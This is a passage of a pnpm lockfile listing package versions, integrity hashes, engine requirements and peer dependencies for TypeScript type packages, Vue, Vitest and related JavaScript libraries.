'@types/istanbul-lib-report@3.0.3':\n    resolution: {integrity: sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==}\n\n  '@types/istanbul-reports@3.0.4':\n    resolution: {integrity: sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==}\n\n  '@types/js-beautify@1.14.3':\n    resolution: {integrity: sha512-FMbQHz+qd9DoGvgLHxeqqVPaNRffpIu5ZjozwV8hf9JAGpIOzuAf4wGbRSo8LNITHqGjmmVjaMggTT5P4v4IHg==}\n\n  '@types/js-yaml@4.0.9':\n    resolution: {integrity: sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==}\n\n  '@types/json-schema@7.0.15':\n    resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==}\n\n  '@types/keygrip@1.0.6':\n    resolution: {integrity: sha512-lZuNAY9xeJt7Bx4t4dx0rYCDqGPW8RXhQZK1td7d4H6E9zYbLoOtjBvfwdTKpsyxQI/2jv+armjX/RW+ZNpXOQ==}\n\n  '@types/koa-bodyparser@4.3.12':\n    resolution: {integrity: sha512-hKMmRMVP889gPIdLZmmtou/BijaU1tHPyMNmcK7FAHAdATnRcGQQy78EqTTxLH1D4FTsrxIzklAQCso9oGoebQ==}\n\n  '@types/koa-compose@3.2.8':\n    resolution: {integrity: sha512-4Olc63RY+MKvxMwVknCUDhRQX1pFQoBZ/lXcRLP69PQkEpze/0cr8LNqJQe5NFb/b19DWi2a5bTi2VAlQzhJuA==}\n\n  '@types/koa-range@0.3.5':\n    resolution: {integrity: sha512-DvbLgWVctu3k0dnuQsb2If7ROdYvUK+oGOJTxFviQjfrMjaewZYM1IPYoH1yZ2zhcpD+hKzBiGi5DMOj0kLAQg==}\n\n  '@types/koa@3.0.0':\n    resolution: {integrity: sha512-MOcVYdVYmkSutVHZZPh8j3+dAjLyR5Tl59CN0eKgpkE1h/LBSmPAsQQuWs+bKu7WtGNn+hKfJH9Gzml+PulmDg==}\n\n  '@types/linkify-it@5.0.0':\n    resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==}\n\n  '@types/lodash.snakecase@4.1.9':\n    resolution: {integrity: sha512-emBZJUiNlo+QPXr1junMKXwzHJK9zbFvTVdyAoorFcm1YRsbzkZCYPTVMM9AW+dlnA6utG7vpfvOs8alxv/TMw==}\n\n  '@types/lodash@4.17.20':\n    resolution: {integrity: sha512-H3MHACvFUEiujabxhaI/ImO6gUrd8oOurg7LQtS7mbwIXA/cUqWrvBsaeJ23aZEPk1TAYkurjfMbSELfoCXlGA==}\n\n  '@types/markdown-it@14.1.2':\n    resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==}\n\n  '@types/mdast@4.0.4':\n    resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==}\n\n  '@types/mdurl@2.0.0':\n    resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==}\n\n  '@types/methods@1.1.4':\n    resolution: {integrity: sha512-ymXWVrDiCxTBE3+RIrrP533E70eA+9qu7zdWoHuOmGujkYtzf4HQF96b8nwHLqhuf4ykX61IGRIB38CC6/sImQ==}\n\n  '@types/mime-types@3.0.1':\n    resolution: {integrity: sha512-xRMsfuQbnRq1Ef+C+RKaENOxXX87Ygl38W1vDfPHRku02TgQr+Qd8iivLtAMcR0KF5/29xlnFihkTlbqFrGOVQ==}\n\n  '@types/mime@1.3.5':\n    resolution: {integrity: sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==}\n\n  '@types/mocha@10.0.10':\n    resolution: {integrity: sha512-xPyYSz1cMPnJQhl0CLMH68j3gprKZaTjG3s5Vi+fDgx+uhG9NOXwbVt52eFS8ECyXhyKcjDLCBEqBExKuiZb7Q==}\n\n  '@types/ms@2.1.0':\n    resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==}\n\n  '@types/mustache@4.2.6':\n    resolution: {integrity: sha512-t+8/QWTAhOFlrF1IVZqKnMRJi84EgkIK5Kh0p2JV4OLywUvCwJPFxbJAl7XAow7DVIHsF+xW9f1MVzg0L6Szjw==}\n\n  '@types/node@10.17.60':\n    resolution: {integrity: sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==}\n\n  '@types/node@24.10.2':\n    resolution: {integrity: sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA==}\n\n  '@types/nunjucks@3.2.6':\n    resolution: {integrity: sha512-pHiGtf83na1nCzliuAdq8GowYiXvH5l931xZ0YEHaLMNFgynpEqx+IPStlu7UaDkehfvl01e4x/9Tpwhy7Ue3w==}\n\n  '@types/on-finished@2.3.5':\n    resolution: {integrity: sha512-XUaCx9tVIC577KsOZxKbnvGlyPt2ogNXQEq/bOQpAfPwH9sH0FbzrRsK1961jpjKlK5V+Owmw55dVjukWhwH0w==}\n\n  '@types/parseurl@1.3.3':\n    resolution: {integrity: sha512-eamlh+uXpNIG2yVdl6UdBTR3B6jtmJl/JWTNTQAN1K3VH1s5F6UPOhgLwCnU9FJ7R/PnUsRN9zFSpMcxwa2Ndg==}\n\n  '@types/pluralize@0.0.33':\n    resolution: {integrity: sha512-JOqsl+ZoCpP4e8TDke9W79FDcSgPAR0l6pixx2JHkhnRjvShyYiAYw2LVsnA7K08Y6DeOnaU6ujmENO4os/cYg==}\n\n  '@types/qs@6.14.0':\n    resolution: {integrity: sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==}\n\n  '@types/range-parser@1.2.7':\n    resolution: {integrity: sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==}\n\n  '@types/safe-timers@1.1.2':\n    resolution: {integrity: sha512-NkLK2vnHShzLyef0eCMT5ocUJOQNB3Ppq3nKOCHPoxCs5PAJV/AH5DyWTKYHpaGlicE9qmC3MwNRNvt3oML76w==}\n\n  '@types/send@0.17.5':\n    resolution: {integrity: sha512-z6F2D3cOStZvuk2SaP6YrwkNO65iTZcwA2ZkSABegdkAh/lf+Aa/YQndZVfmEXT5vgAp6zv06VQ3ejSVjAny4w==}\n\n  '@types/send@1.2.0':\n    resolution: {integrity: sha512-zBF6vZJn1IaMpg3xUF25VK3gd3l8zwE0ZLRX7dsQyQi+jp4E8mMDJNGDYnYse+bQhYwWERTxVwHpi3dMOq7RKQ==}\n\n  '@types/serve-static@1.15.9':\n    resolution: {integrity: sha512-dOTIuqpWLyl3BBXU3maNQsS4A3zuuoYRNIvYSxxhebPfXg2mzWQEPne/nlJ37yOse6uGgR386uTpdsx4D0QZWA==}\n\n  '@types/sqlstring@2.3.2':\n    resolution: {integrity: sha512-lVRe4Iz9UNgiHelKVo8QlC8fb5nfY8+p+jNQNE+UVsuuVlQnWhyWmQ/wF5pE8Ys6TdjfVpqTG9O9i2vi6E0+Sg==}\n\n  '@types/stack-trace@0.0.33':\n    resolution: {integrity: sha512-O7in6531Bbvlb2KEsJ0dq0CHZvc3iWSR5ZYMtvGgnHA56VgriAN/AU2LorfmcvAl2xc9N5fbCTRyMRRl8nd74g==}\n\n  '@types/statuses@2.0.6':\n    resolution: {integrity: sha512-xMAgYwceFhRA2zY+XbEA7mxYbA093wdiW8Vu6gZPGWy9cmOyU9XesH1tNcEWsKFd5Vzrqx5T3D38PWx1FIIXkA==}\n\n  '@types/superagent@8.1.9':\n    resolution: {integrity: sha512-pTVjI73witn+9ILmoJdajHGW2jkSaOzhiFYF1Rd3EQ94kymLqB9PjD9ISg7WaALC7+dCHT0FGe9T2LktLq/3GQ==}\n\n  '@types/type-is@1.6.7':\n    resolution: {integrity: sha512-gEsh7n8824nusZ2Sidh6POxNsIdTSvIAl5gXbeFj+TUaD1CO2r4i7MQYNMfEQkChU42s2bVWAda6x6BzIhtFbQ==}\n\n  '@types/unist@3.0.3':\n    resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==}\n\n  '@types/urijs@1.19.25':\n    resolution: {integrity: sha512-XOfUup9r3Y06nFAZh3WvO0rBU4OtlfPB/vgxpjg+NRdGU6CN6djdc6OEiH+PcqHCY6eFLo9Ista73uarf4gnBg==}\n\n  '@types/uuid@10.0.0':\n    resolution: {integrity: sha512-7gqG38EyHgyP1S+7+xomFtL+ZNHcKv6DwNaCZmJmo1vgMugyF3TCnXVg4t1uk89mLNwnLtnY3TpOpCOyp1/xHQ==}\n\n  '@types/vary@1.1.3':\n    resolution: {integrity: sha512-XJT8/ZQCL7NUut9QDLf6l24JfAEl7bnNdgxfj50cHIpEPRJLHHDDFOAq6i+GsEmeFfH7NamhBE4c4Thtb2egWg==}\n\n  '@types/web-bluetooth@0.0.21':\n    resolution: {integrity: sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==}\n\n  '@types/yargs-parser@21.0.3':\n    resolution: {integrity: sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==}\n\n  '@types/yargs@12.0.20':\n    resolution: {integrity: sha512-MjOKUoDmNattFOBJvAZng7X9KXIKSGy6XHoXY9mASkKwCn35X4Ckh+Ugv1DewXZXrWYXMNtLiXhlCfWlpcAV+Q==}\n\n  '@types/yargs@17.0.33':\n    resolution: {integrity: sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==}\n\n  '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-sf8/7keXq1auS7XI0vyAs3t/vgss4/EwACZmzSYtO75dug8TRmuSQDPHxx4R16VURijO/GQ3Bz6rA8VivREzsA==}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@typescript/native-preview-darwin-x64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-3DhQdRUbDq7YduIaRYJtH5MXqCzOry+GT4DjkLPJ08vOGOFypZjgd6G+moEQHgitnefisC1PkNcL1baF4B7+og==}\n    cpu: [x64]\n    os: [darwin]\n\n  '@typescript/native-preview-linux-arm64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-R9h8cX5C0yBtE8xnpAxZBSHWPiVW3d5o3mup0ei1n/8w98lwtMFLWURnPD8N4kRgql9L40IbRXW6jqWdjDUe4Q==}\n    cpu: [arm64]\n    os: [linux]\n\n  '@typescript/native-preview-linux-arm@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-RKSKINs23agj0MJJ2Tzkhe/MuwhcPqRNRRfLmpVRjrNWI43Ta6a5+5Lah+7GYjt00wHUOhay94ZT3iHJkeHATg==}\n    cpu: [arm]\n    os: [linux]\n\n  '@typescript/native-preview-linux-x64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-KI5UprUMIVT4wehBcbGZQm0I3z1uls8fsOmCUzdEpmaLpVu8NbTahgJPVtMyS/nDUiN3At4Uj8ciL36kgbqRmQ==}\n    cpu: [x64]\n    os: [linux]\n\n  '@typescript/native-preview-win32-arm64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-dUJTLMD24TQ4XiyYAxxqKs6hPrq8wS9BiFt+ucjCuWXBGQLbnfiT4bgYz2a4yfbtyxVkG7mxV8udo+gRXtaWRQ==}\n    cpu: [arm64]\n    os: [win32]\n\n  '@typescript/native-preview-win32-x64@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-SdKCAtNZee2TMdZ/bGjfKWX43qIAZhBwLlkPU1G0uxKqmDG1mVRbg/krxm5MnKOjFL00X/gozth6d3LmimonnA==}\n    cpu: [x64]\n    os: [win32]\n\n  '@typescript/native-preview@7.0.0-dev.20260117.1':\n    resolution: {integrity: sha512-5peFvGyf+TOlU6KYMLzfPiPJdxYwG0O/oQN4Z+EzDOzrN8tbY/H58+QOQww4Lo8m4b7+4o/0r+zopD/sYR6uMw==}\n    hasBin: true\n\n  '@ungap/structured-clone@1.3.0':\n    resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==}\n\n  '@vitejs/plugin-vue@6.0.1':\n    resolution: {integrity: sha512-+MaE752hU0wfPFJEUAIxqw18+20euHHdxVtMvbFcOEpjEyfqXH/5DCoTHiVJ0J29EhTJdoTkjEv5YBKU9dnoTw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    peerDependencies:\n      vite: ^5.0.0 || ^6.0.0 || ^7.0.0\n      vue: ^3.2.25\n\n  '@vitest/coverage-v8@4.0.15':\n    resolution: {integrity: sha512-FUJ+1RkpTFW7rQITdgTi93qOCWJobWhBirEPCeXh2SW2wsTlFxy51apDz5gzG+ZEYt/THvWeNmhdAoS9DTwpCw==}\n    peerDependencies:\n      '@vitest/browser': 4.0.15\n      vitest: 4.0.15\n    peerDependenciesMeta:\n      '@vitest/browser':\n        optional: true\n\n  '@vitest/expect@4.0.15':\n    resolution: {integrity: sha512-Gfyva9/GxPAWXIWjyGDli9O+waHDC0Q0jaLdFP1qPAUUfo1FEXPXUfUkp3eZA0sSq340vPycSyOlYUeM15Ft1w==}\n\n  '@vitest/mocker@4.0.15':\n    resolution: {integrity: sha512-CZ28GLfOEIFkvCFngN8Sfx5h+Se0zN+h4B7yOsPVCcgtiO7t5jt9xQh2E1UkFep+eb9fjyMfuC5gBypwb07fvQ==}\n    peerDependencies:\n      msw: ^2.4.9\n      vite: ^6.0.0 || ^7.0.0-0\n    peerDependenciesMeta:\n      msw:\n        optional: true\n      vite:\n        optional: true\n\n  '@vitest/pretty-format@4.0.15':\n    resolution: {integrity: sha512-SWdqR8vEv83WtZcrfLNqlqeQXlQLh2iilO1Wk1gv4eiHKjEzvgHb2OVc3mIPyhZE6F+CtfYjNlDJwP5MN6Km7A==}\n\n  '@vitest/runner@4.0.15':\n    resolution: {integrity: sha512-+A+yMY8dGixUhHmNdPUxOh0la6uVzun86vAbuMT3hIDxMrAOmn5ILBHm8ajrqHE0t8R9T1dGnde1A5DTnmi3qw==}\n\n  '@vitest/snapshot@4.0.15':\n    resolution: {integrity: sha512-A7Ob8EdFZJIBjLjeO0DZF4lqR6U7Ydi5/5LIZ0xcI+23lYlsYJAfGn8PrIWTYdZQRNnSRlzhg0zyGu37mVdy5g==}\n\n  '@vitest/spy@4.0.15':\n    resolution: {integrity: sha512-+EIjOJmnY6mIfdXtE/bnozKEvTC4Uczg19yeZ2vtCz5Yyb0QQ31QWVQ8hswJ3Ysx/K2EqaNsVanjr//2+P3FHw==}\n\n  '@vitest/ui@4.0.15':\n    resolution: {integrity: sha512-sxSyJMaKp45zI0u+lHrPuZM1ZJQ8FaVD35k+UxVrha1yyvQ+TZuUYllUixwvQXlB7ixoDc7skf3lQPopZIvaQw==}\n    peerDependencies:\n      vitest: 4.0.15\n\n  '@vitest/utils@4.0.15':\n    resolution: {integrity: sha512-HXjPW2w5dxhTD0dLwtYHDnelK3j8sR8cWIaLxr22evTyY6q8pRCjZSmhRWVjBaOVXChQd6AwMzi9pucorXCPZA==}\n\n  '@vue/compiler-core@3.5.25':\n    resolution: {integrity: sha512-vay5/oQJdsNHmliWoZfHPoVZZRmnSWhug0BYT34njkYTPqClh3DNWLkZNJBVSjsNMrg0CCrBfoKkjZQPM/QVUw==}\n\n  '@vue/compiler-dom@3.5.25':\n    resolution: {integrity: sha512-4We0OAcMZsKgYoGlMjzYvaoErltdFI2/25wqanuTu+S4gismOTRTBPi4IASOjxWdzIwrYSjnqONfKvuqkXzE2Q==}\n\n  '@vue/compiler-sfc@3.5.25':\n    resolution: {integrity: sha512-PUgKp2rn8fFsI++lF2sO7gwO2d9Yj57Utr5yEsDf3GNaQcowCLKL7sf+LvVFvtJDXUp/03+dC6f2+LCv5aK1ag==}\n\n  '@vue/compiler-ssr@3.5.25':\n    resolution: {integrity: sha512-ritPSKLBcParnsKYi+GNtbdbrIE1mtuFEJ4U1sWeuOMlIziK5GtOL85t5RhsNy4uWIXPgk+OUdpnXiTdzn8o3A==}\n\n  '@vue/devtools-api@8.0.5':\n    resolution: {integrity: sha512-DgVcW8H/Nral7LgZEecYFFYXnAvGuN9C3L3DtWekAncFBedBczpNW8iHKExfaM559Zm8wQWrwtYZ9lXthEHtDw==}\n\n  '@vue/devtools-kit@8.0.5':\n    resolution: {integrity: sha512-q2VV6x1U3KJMTQPUlRMyWEKVbcHuxhqJdSr6Jtjz5uAThAIrfJ6WVZdGZm5cuO63ZnSUz0RCsVwiUUb0mDV0Yg==}\n\n  '@vue/devtools-shared@8.0.5':\n    resolution: {integrity: sha512-bRLn6/spxpmgLk+iwOrR29KrYnJjG9DGpHGkDFG82UM21ZpJ39ztUT9OXX3g+usW7/b2z+h46I9ZiYyB07XMXg==}\n\n  '@vue/reactivity@3.5.25':\n    resolution: {integrity: sha512-5xfAypCQepv4Jog1U4zn8cZIcbKKFka3AgWHEFQeK65OW+Ys4XybP6z2kKgws4YB43KGpqp5D/K3go2UPPunLA==}\n\n  '@vue/runtime-core@3.5.25':\n    resolution: {integrity: sha512-Z751v203YWwYzy460bzsYQISDfPjHTl+6Zzwo/a3CsAf+0ccEjQ8c+0CdX1WsumRTHeywvyUFtW6KvNukT/smA==}\n\n  '@vue/runtime-dom@3.5.25':\n    resolution: {integrity: sha512-a4WrkYFbb19i9pjkz38zJBg8wa/rboNERq3+hRRb0dHiJh13c+6kAbgqCPfMaJ2gg4weWD3APZswASOfmKwamA==}\n\n  '@vue/server-renderer@3.5.25':\n    resolution: {integrity: sha512-UJaXR54vMG61i8XNIzTSf2Q7MOqZHpp8+x3XLGtE3+fL+nQd+k7O5+X3D/uWrnQXOdMw5VPih+Uremcw+u1woQ==}\n    peerDependencies:\n      vue: 3.5.25\n\n  '@vue/shared@3.5.25':\n    resolution: {integrity: sha512-AbOPdQQnAnzs58H2FrrDxYj/TJfmeS2jdfEEhgiKINy+bnOANmVizIEgq1r+C5zsbs6l1CCQxtcj71rwNQ4jWg==}\n\n  '@vueuse/core@14.0.0':\n    resolution: {integrity: sha512-d6tKRWkZE8IQElX2aHBxXOMD478fHIYV+Dzm2y9Ag122ICBpNKtGICiXKOhWU3L1kKdttDD9dCMS4bGP3jhCTQ==}\n    peerDependencies:\n      vue: ^3.5.0\n\n  '@vueuse/integrations@14.0.0':\n    resolution: {integrity: sha512-5A0X7q9qyLtM3xyghq5nK/NEESf7cpcZlkQgXTMuW4JWiAMYxc1ImdhhGrk4negFBsq3ejvAlRmLdNrkcTzk1Q==}\n    peerDependencies:\n      async-validator: ^4\n      axios: ^1\n      change-case: ^5\n      drauu: ^0.4\n      focus-trap: ^7\n      fuse.js: ^7\n      idb-keyval: ^6\n      jwt-decode: ^4\n      nprogress: ^0.2\n      qrcode: ^1.5\n      sortablejs: ^1\n      universal-cookie: ^7 || ^8\n      vue: ^3.5.0\n    peerDependenciesMeta:\n      async-validator:\n        optional: true\n      axios:\n        optional: true\n      change-case:\n        optional: true\n      drauu:\n        optional: true\n      focus-trap:\n        optional: true\n      fuse.js:\n        optional: true\n      idb-keyval:\n        optional: true\n      jwt-decode:\n        optional: true\n      nprogress:\n        optional: true\n      qrcode:\n        optional: true\n      sortablejs:\n        optional: true\n      universal-cookie:\n        optional: true\n\n  '@vueuse/metadata@14.0.0':\n    resolution: {integrity: sha512-6yoGqbJcMldVCevkFiHDBTB1V5Hq+G/haPlGIuaFZHpXC0HADB0EN1ryQAAceiW+ryS3niUwvdFbGiqHqBrfVA==}\n\n  '@vueuse/shared@14.0.0':\n    resolution: {integrity: sha512-mTCA0uczBgurRlwVaQHfG0Ja7UdGe4g9mwffiJmvLiTtp1G4AQyIjej6si/k8c8pUwTfVpNufck+23gXptPAkw==}\n    peerDependencies:\n      vue: ^3.5.0\n\n  '@zkochan/cmd-shim@5.4.1':\n    resolution: {integrity: sha512-odWb1qUzt0dIOEUPyWBEpFDYQPRjEMr/dbHHAfgBkVkYR9aO7Zo+I7oYWrXIxl+cKlC7+49ftPm8uJxL1MA9kw==}\n    engines: {node: '>=10.13'}\n\n  a-sync-waterfall@1.0.1:\n    resolution: {integrity: sha512-RYTOHHdWipFUliRFMCS4X2Yn2X8M87V/OpSqWzKKOGhzqyUxzyVmhHDH9sAvG+ZuQf/TAOFsLCpMw09I1ufUnA==}\n\n  abbrev@1.1.1:\n    resolution: {integrity: sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==}\n\n  abbrev@2.0.0:\n    resolution: {integrity: sha512-6/mh1E2u2YgEsCHdY0Yx5oW+61gZU+1vXaoiHHrpKeuRNNgFvS+/jrwHiQhB5apAf5oB7UB7E19ol2R2LKH8hQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  accepts@1.3.8:\n    resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==}\n    engines: {node: '>= 0.6'}\n\n  accepts@2.0.0:\n    resolution: {integrity: sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==}\n    engines: {node: '>= 0.6'}\n\n  acorn-walk@8.3.4:\n    resolution: {integrity: sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==}\n    engines: {node: '>=0.4.0'}\n\n  acorn@8.15.0:\n    resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==}\n    engines: {node: '>=0.4.0'}\n    hasBin: true\n\n  address@2.0.3:\n    resolution: {integrity: sha512-XNAb/a6TCqou+TufU8/u11HCu9x1gYvOoxLwtlXgIqmkrYQADVv6ljyW2zwiPhHz9R1gItAWpuDrdJMmrOBFEA==}\n    engines: {node: '>= 16.0.0'}\n\n  agent-base@6.0.2:\n    resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==}\n    engines: {node: '>= 6.0.0'}\n\n  agentkeepalive@4.6.0:\n    resolution: {integrity: sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==}\n    engines: {node: '>= 8.0.0'}\n\n  aggregate-error@3.1.0:\n    resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==}\n    engines: {node: '>=8'}\n\n  ajv-formats@2.1.1:\n    resolution: {integrity: sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==}\n    peerDependencies:\n      ajv: ^8.0.0\n    peerDependenciesMeta:\n      ajv:\n        optional: true\n\n  ajv-formats@3.0.1:\n    resolution: {integrity: sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==}\n    peerDependencies:\n      ajv: ^8.0.0\n    peerDependenciesMeta:\n      ajv:\n        optional: true\n\n  ajv-keywords@5.1.0:\n    resolution: {integrity: sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==}\n    peerDependencies:\n      ajv: ^8.8.2\n\n  ajv@8.17.1:\n    resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==}\n\n  ansi-escapes@4.3.2:\n    resolution: {integrity: sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==}\n    engines: {node: '>=8'}\n\n  ansi-escapes@7.2.0:\n    resolution: {integrity: sha512-g6LhBsl+GBPRWGWsBtutpzBYuIIdBkLEvad5C/va/74Db018+5TZiyA26cZJAr3Rft5lprVqOIPxf5Vid6tqAw==}\n    engines: {node: '>=18'}\n\n  ansi-regex@4.1.1:\n    resolution: {integrity: sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==}\n    engines: {node: '>=6'}\n\n  ansi-regex@5.0.1:\n    resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==}\n    engines: {node: '>=8'}\n\n  ansi-regex@6.2.2:\n    resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==}\n    engines: {node: '>=12'}\n\n  ansi-styles@3.2.1:\n    resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==}\n    engines: {node: '>=4'}\n\n  ansi-styles@4.3.0:\n    resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==}\n    engines: {node: '>=8'}\n\n  ansi-styles@6.2.3:\n    resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==}\n    engines: {node: '>=12'}\n\n  ansis@3.17.0:\n    resolution: {integrity: sha512-0qWUglt9JEqLFr3w1I1pbrChn1grhaiAR2ocX1PP/flRmxgtwTzPFFFnfIlD6aMOLQZgSuCRlidD70lvx8yhzg==}\n    engines: {node: '>=14'}\n\n  ansis@4.2.0:\n    resolution: {integrity: sha512-HqZ5rWlFjGiV0tDm3UxxgNRqsOTniqoKZu0pIAfh7TZQMGuZK+hH0drySty0si0QXj1ieop4+SkSfPZBPPkHig==}\n    engines: {node: '>=14'}\n\n  any-promise@1.3.0:\n    resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==}\n\n  anymatch@3.1.3:\n    resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==}\n    engines: {node: '>= 8'}\n\n  aproba@2.1.0:\n    resolution: {integrity: sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==}\n\n  are-we-there-yet@3.0.1:\n    resolution: {integrity: sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n    deprecated: This package is no longer supported.\n\n  are-we-there-yet@4.0.2:\n    resolution: {integrity: 